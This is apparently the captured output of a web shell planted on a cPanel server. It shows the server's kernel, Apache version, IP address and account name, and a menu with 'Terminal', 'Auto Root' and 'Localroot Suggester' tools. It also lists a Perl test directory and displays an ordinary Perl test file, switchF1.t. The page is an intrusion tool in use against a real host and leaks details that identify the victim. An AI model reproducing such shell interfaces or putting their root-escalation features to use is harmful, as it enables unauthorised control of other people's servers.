Linux cpanel2.daytoncreative.net 2.6.32-754.29.2.el6.x86_64 #1 SMP Tue May 12 17:39:04 UTC 2020 x86_64
Apache/2.4.43 (cPanel) OpenSSL/1.1.1g mod_bwlimited/1.4
Server IP : 70.62.220.67 & Your IP : 216.73.216.193
Domains :
Cant Read [ /etc/named.conf ]
User : michaelgreg
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
var /
log /
perl-5.20.2 /
t /
run /
Delete
Unzip
Name
Size
Permission
Date
Action
flib
[ DIR ]
drwxr-xr-x
2015-02-14 16:56
cloexec.t
5.73
KB
-r--r--r--
2014-12-27 11:49
dtrace.pl
3
B
-r--r--r--
2014-12-27 11:49
dtrace.t
4.86
KB
-r--r--r--
2014-12-27 11:49
exit.t
5.98
KB
-r--r--r--
2014-12-27 11:49
fresh_perl.t
16.34
KB
-r--r--r--
2014-12-27 11:49
locale.t
9.78
KB
-r--r--r--
2014-12-27 11:49
mad.t
984
B
-r--r--r--
2014-12-27 11:49
noswitch.t
250
B
-r--r--r--
2014-12-27 11:49
runenv.t
9.15
KB
-r--r--r--
2014-12-27 11:49
script.t
578
B
-r--r--r--
2014-12-27 11:49
switch0.t
154
B
-r--r--r--
2014-12-27 11:49
switchC.t
3.4
KB
-r--r--r--
2014-12-27 11:49
switchF.t
223
B
-r--r--r--
2014-12-27 11:49
switchF1.t
915
B
-r--r--r--
2014-12-27 11:49
switchF2.t
499
B
-r--r--r--
2014-12-27 11:49
switchI.t
849
B
-r--r--r--
2014-12-27 11:49
switchM.t
1.03
KB
-r--r--r--
2014-12-27 11:49
switcha.t
218
B
-r--r--r--
2014-12-27 11:49
switchd-78586.t
644
B
-r--r--r--
2014-12-27 11:49
switchd.t
6.93
KB
-r--r--r--
2014-12-27 11:49
switches.t
11.83
KB
-r--r--r--
2014-12-27 11:49
switchn.t
246
B
-r--r--r--
2014-12-27 11:49
switchp.t
314
B
-r--r--r--
2014-12-27 11:49
switcht.t
1.61
KB
-r--r--r--
2014-12-27 11:49
switchx.aux
396
B
-r--r--r--
2014-12-27 11:49
switchx.t
1.04
KB
-r--r--r--
2014-12-27 11:49
switchx2.aux
503
B
-r--r--r--
2014-12-27 11:49
switchx3.aux
50
B
-r--r--r--
2014-12-27 11:49
Save
Rename
#!perl -w # This test file does not use test.pl because of the involved way in which it # generates its TAP output. print "1..5\n"; my $file = "Run_switchF1.pl"; open F, ">$file" or die "Open $file: $!"; my $prog = <<'EOT'; #!./perl -anF[~#QQ\\xq'] BEGIN { *ARGV = *DATA; } print "@F"; __DATA__ okx1x- use of alternate delimiter (lower case letter) in -F okq2q- use of alternate delimiter (lower case letter) in -F ok\3\- use of alternate delimiter (backslash) in -F ok'4'- use of alternate delimiter (apostrophe) in -F EOT # 2 of the characters toke.c used to use to quote the split parameter: $prog =~ s/QQ/\x01\x80/; # These 2 plus ~ # and ' were enough to make perl choke print F $prog; close F or die "Close $file: $!"; $count = 5; $result = "ok $count - complete test of alternate delimiters in -F\n"; print system ($^X, $file) ? "not $result" : $result; unlink $file or die "Unlink $file: $!";